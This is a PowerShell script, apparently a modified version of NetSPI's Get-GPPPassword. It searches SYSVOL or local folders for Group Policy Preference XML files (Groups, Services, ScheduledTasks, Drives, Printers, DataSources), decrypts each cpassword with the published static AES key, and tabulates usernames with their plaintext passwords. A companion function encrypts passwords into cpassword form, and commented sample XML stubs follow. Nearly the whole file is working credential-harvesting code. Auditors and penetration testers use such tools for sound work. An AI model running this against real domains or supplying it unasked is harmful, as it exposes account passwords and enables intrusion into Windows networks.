# Author: Scott Sutherland, NetSPI (@_nullbind / nullbind) # This is for parsing group policy preference files and should support groups.xml, datasources.xml, drives.xml, printers.xml, scheduletasks.xml, and services.xml function Get-GPPPasswordMod { <# .SYNOPSIS Retrieves plaintext passwords from specified Group Policy XML files and provides functionality to encrypt passwords. .DESCRIPTION This function processes specified GPP XML files and retrieves plaintext passwords for accounts pushed through Group Policy Preferences. It also provides a method to encrypt passwords for use in XML files. .EXAMPLE PS C:\> Get-GPPPasswordMod -InputFilePath "\\192.168.1.1\sysvol\demo.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Preferences" #> [CmdletBinding()] Param( [Parameter(Mandatory=$false)] [string]$InputFilePath ) # ---------------------------------------------------------------- # Function to decrypt cpassword # ---------------------------------------------------------------- function Get-DecryptedCpassword { [CmdletBinding()] Param ( [string] $Cpassword ) try { # Append padding $Mod = ($Cpassword.length % 4) switch ($Mod) { '1' { $Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1) } '2' { $Cpassword += ('=' * (4 - $Mod)) } '3' { $Cpassword += ('=' * (4 - $Mod)) } } $Base64Decoded = [Convert]::FromBase64String($Cpassword) $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } catch { Write-Error $Error[0] } } # ---------------------------------------------------------------- # Setup data table to store GPP Information # ---------------------------------------------------------------- if ($InputFilePath) { $TableGPPPasswords = New-Object System.Data.DataTable $TableGPPPasswords.Columns.Add('NewName') | Out-Null $TableGPPPasswords.Columns.Add('Changed') | Out-Null $TableGPPPasswords.Columns.Add('UserName') | Out-Null $TableGPPPasswords.Columns.Add('CPassword') | Out-Null $TableGPPPasswords.Columns.Add('Password') | Out-Null $TableGPPPasswords.Columns.Add('File') | Out-Null # ---------------------------------------------------------------- # Find, parse, decrypt, and display results from XML files # ---------------------------------------------------------------- $XmlFiles = Get-ChildItem -Path $InputFilePath -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','ScheduledTasks.xml','DataSources.xml','Printers.xml','Drives.xml' # Parse GPP config files $XmlFiles | ForEach-Object { $FileFullName = $_.FullName $FileName = $_.Name # Read the file content as a string $fileContentString = Get-Content -Path "$FileFullName" -Raw try { # Attempt to load the XML content [xml]$FileContent = [xml]$fileContentString } catch { Write-Error "Failed to parse XML in file '$FileFullName'. Error: $_" return } # Process Drives.xml if ($FileName -eq "Drives.xml") { $FileContent.Drives.Drive | ForEach-Object { [string]$Username = $_.Properties.username [string]$CPassword = $_.Properties.cpassword [string]$Password = Get-DecryptedCpassword $CPassword [datetime]$Changed = $_.Changed [string]$NewName = "" $TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null } } # Process Groups.xml if ($FileName -eq "Groups.xml") { $FileContent.Groups.User | ForEach-Object { [string]$Username = $_.Properties.username [string]$CPassword = $_.Properties.cpassword [string]$Password = Get-DecryptedCpassword $CPassword [datetime]$Changed = $_.Changed [string]$NewName = $_.Properties.newname $TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null } } # Process Services.xml if ($FileName -eq "Services.xml") { $FileContent.NTServices.NTService | ForEach-Object { [string]$Username = $_.Properties.accountname [string]$CPassword = $_.Properties.cpassword [string]$Password = Get-DecryptedCpassword $CPassword [datetime]$Changed = $_.Changed [string]$NewName = "" $TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null } } # Process ScheduledTasks.xml if ($FileName -eq "ScheduledTasks.xml") { $FileContent.ScheduledTasks.Task | ForEach-Object { [string]$Username = $_.Properties.runas [string]$CPassword = $_.Properties.cpassword [string]$Password = Get-DecryptedCpassword $CPassword [datetime]$Changed = $_.Changed [string]$NewName = "" $TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null } } # Process DataSources.xml if ($FileName -eq "DataSources.xml") { $FileContent.DataSources.DataSource | ForEach-Object { [string]$Username = $_.Properties.username [string]$CPassword = $_.Properties.cpassword [string]$Password = Get-DecryptedCpassword $CPassword [datetime]$Changed = $_.Changed [string]$NewName = "" $TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null } } # Process Printers.xml if ($FileName -eq "Printers.xml") { $FileContent.Printers.SharedPrinter | ForEach-Object { [string]$Username = $_.Properties.username [string]$CPassword = $_.Properties.cpassword [string]$Password = Get-DecryptedCpassword $CPassword [datetime]$Changed = $_.Changed [string]$NewName = "" $TableGPPPasswords.Rows.Add($NewName, $Changed, $Username, $CPassword, $Password, $FileFullName) | Out-Null } } } # Check if anything was found if (-not $XmlFiles) { throw 'No preference files found.' return } # Display results $TableGPPPasswords } # Allow users to encrypt passwords function Set-EncryptedCpassword { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [string]$Password ) # Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $EncryptorObject = $AesObject.CreateEncryptor() # Convert password to byte array and encrypt [Byte[]] $InputBytes = [System.Text.Encoding]::Unicode.GetBytes($Password) [Byte[]] $EncryptedBytes = $EncryptorObject.TransformFinalBlock($InputBytes, 0, $InputBytes.Length) $EncryptedCpassword = [Convert]::ToBase64String($EncryptedBytes) return $EncryptedCpassword } } # Example path to the directory containing the GPP XML files $pathToGPPFiles = "c:\temp\configs\ScheduledTasks.xml" # Call the function $gppPasswords = Get-GPPPasswordMod -InputFilePath $pathToGPPFiles # Display the results $gppPasswords <# Bonus function for encrypting password # ---------------------------------------------------------------- # Function to encrypt a password # ---------------------------------------------------------------- function Set-EncryptedCpassword { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [string]$Password ) # Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $EncryptorObject = $AesObject.CreateEncryptor() # Convert password to byte array and encrypt [Byte[]] $InputBytes = [System.Text.Encoding]::Unicode.GetBytes($Password) [Byte[]] $EncryptedBytes = $EncryptorObject.TransformFinalBlock($InputBytes, 0, $InputBytes.Length) $EncryptedCpassword = [Convert]::ToBase64String($EncryptedBytes) return $EncryptedCpassword } $plainTextPassword = "MyAwesomePassword!" $encryptedPassword = Set-EncryptedCpassword -Password $plainTextPassword Write-Output $encryptedPassword #> <# Printers.xml #> <# ScheduledTasks.xml WIN-P3LTV7KC6IO\Administrator Demo %LogonDomain%\%LogonUser InteractiveToken LeastPrivilege PT10M PT1H true true IgnoreNew true true true true true true true false true true P3D 7 PT1M 3 2008-05-28T14:06:04 true 2008-05-28T14:06:08 true 1 2008-05-28T14:06:11 true 1 2008-05-28T14:06:16 true 1 true true true true true RemoteConnect true RemoteConnect true SessionLock true SessionUnlock a b c a b c d e f aa bb WIN-P3LTV7KC6IO\Administrator Demo ImdTask %LogonDomain%\%LogonUser InteractiveToken HighestAvailable PT10M PT1H true false IgnoreNew true true true false false true true false false false P3D 7 calc.exe #> <# Services.xml #> <# Drives.xml #> <# Groups.xml #> <# DataSources.xml #>